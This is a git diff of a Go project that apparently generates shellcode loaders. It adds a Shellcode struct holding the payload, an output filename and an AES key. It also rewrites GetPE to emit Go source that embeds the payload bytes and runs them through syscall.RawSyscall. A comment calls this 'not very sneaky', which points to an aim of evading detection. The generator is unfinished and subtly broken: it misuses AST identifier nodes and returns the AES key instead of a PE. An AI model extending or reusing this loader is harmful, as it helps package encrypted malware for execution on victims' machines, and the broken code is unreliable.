diff --git a/go.mod b/go.mod
@@ -6,4 +6,5 @@ require (
github.com/inconshreveable/mousetrap v1.0.1 // indirect
github.com/spf13/cobra v1.6.1 // indirect
github.com/spf13/pflag v1.0.5 // indirect
+ golang.org/x/tools v0.5.0 // indirect
)
diff --git a/go.sum b/go.sum
@@ -6,5 +6,7 @@ github.com/spf13/cobra v1.6.1 h1:o94oiPyS4KD1mPy2fmcYYHHfCxLqYjJOhGsCHFZtEzA=
github.com/spf13/cobra v1.6.1/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY=
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
+golang.org/x/tools v0.5.0 h1:+bSpV5HIeWkuvgaMfI3UmKRThoTA5ODJTUd8T17NO+4=
+golang.org/x/tools v0.5.0/go.mod h1:N+Kgy78s5I24c24dU8OfWNEotWjutIs8SnJvn5IDq+k=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff --git a/loader/types.go b/loader/types.go
@@ -0,0 +1,16 @@
+package loader;
+
+
+type Shellcode struct {
+ // payload in bytes
+ Payload []byte
+
+ // output filename
+ Filename string
+
+ // symbol name in program memory
+ SymbolName string
+
+ // AES key used for encryption & decrpytion
+ AesKey []byte
+}
diff --git a/loader/utils.go b/loader/utils.go
@@ -1,12 +1,122 @@
package loader;
import (
+ "bytes"
+ "debug/pe"
+ "encoding/hex"
+ "fmt"
+ "go/ast"
+ "go/token"
+ "go/types"
+ "io/ioutil"
+ "os"
+
+ "golang.org/x/tools/go/gcimporter"
+ "golang.org/x/tools/go/ssa"
+ "golang.org/x/tools/go/ssa/ssautil"
)
/* Generates full PE file, assuming shellcode has already been encrypted with AES */
-func GetPE(shellcode []byte, aesKey []byte) ([]byte, error) {
+func GetPE(sc Shellcode) ([]byte, error) {
+
+ /* create new file that includes shellcode and wrappers */
+ fileSet := token.NewFileSet()
+ file := &ast.File{
+ Name: ast.NewIdent(sc.Filename),
+ Decls: []ast.Decl{},
+ }
+
+ varList := &ast.ValueSpec{
+ Names: []*ast.Ident{ast.NewIdent(sc.SymbolName)},
+ Values: []ast.Expr{
+ &ast.CompositeLit{
+ Type: &ast.ArrayType{
+ Elt: &ast.Ident{Name: "byte"},
+ },
+ Elts: []ast.Expr{},
+ },
+ },
+ }
+ for _, b := range sc.Payload {
+ varList.Values[0].(*ast.CompositeLit).Elts = append(
+ varList.Values[0].(*ast.CompositeLit).Elts,
+ &ast.BasicLit{
+ Kind: token.INT,
+ Value: fmt.Sprintf("0x%02x", b),
+ })
+ }
+ file.Decls = append(file.Decls, &ast.GenDecl{
+ Tok: token.VAR,
+ Specs: []ast.Spec{varList},
+ })
+
+ runFunc := &ast.FuncDecl{
+ Name: ast.NewIdent("run"),
+ Type: &ast.FuncType{
+ Params: &ast.FieldList{},
+ Results: &ast.FieldList{
+ List: []*ast.Field{
+ {
+ Type: &ast.Ident{
+ Name: "error",
+ },
+ },
+ },
+ },
+ },
+ Body: &ast.BlockStmt{
+ List: []ast.Stmt{
+ &ast.ExprStmt{
+ X: &ast.CallExpr{
+ Fun: &ast.Ident{
+ // This is is not very sneaky but a problem for later
+ Name: "syscall.RawSyscall",
+ },
+ Args: []ast.Expr{
+ &ast.Ident{
+ Name: "uintptr",
+ },
+ &ast.BasicLit{
+ Kind: token.INT,
+ Value: "0",
+ },
+ &ast.Ident{
+ Name: "uintptr",
+ },
+ &ast.UnaryExpr{
+ Op: token.AND,
+ X: &ast.IndexExpr{
+ X: &ast.Ident{
+ Name: sc.SymbolName,
+ },
+ Index: &ast.Ident{
+ Name: "uintptr",
+ },
+ },
+ },
+ &ast.Ident{
+ Name: "uintptr",
+ },
+ &ast.BasicLit{
+ Kind: token.INT,
+ Value: "0",
+ },
+ &ast.Ident{
+ Name: "uintptr",
+ },
+ &ast.BasicLit{
+ Kind: token.INT,
+ Value: "0",
+ },
+ },
+ },
+ },
+ },
+ },
+ }
+ // TODO: add return statement here & split into multiple functions
- return aesKey, nil
+ return sc.AesKey, nil
}
| | | |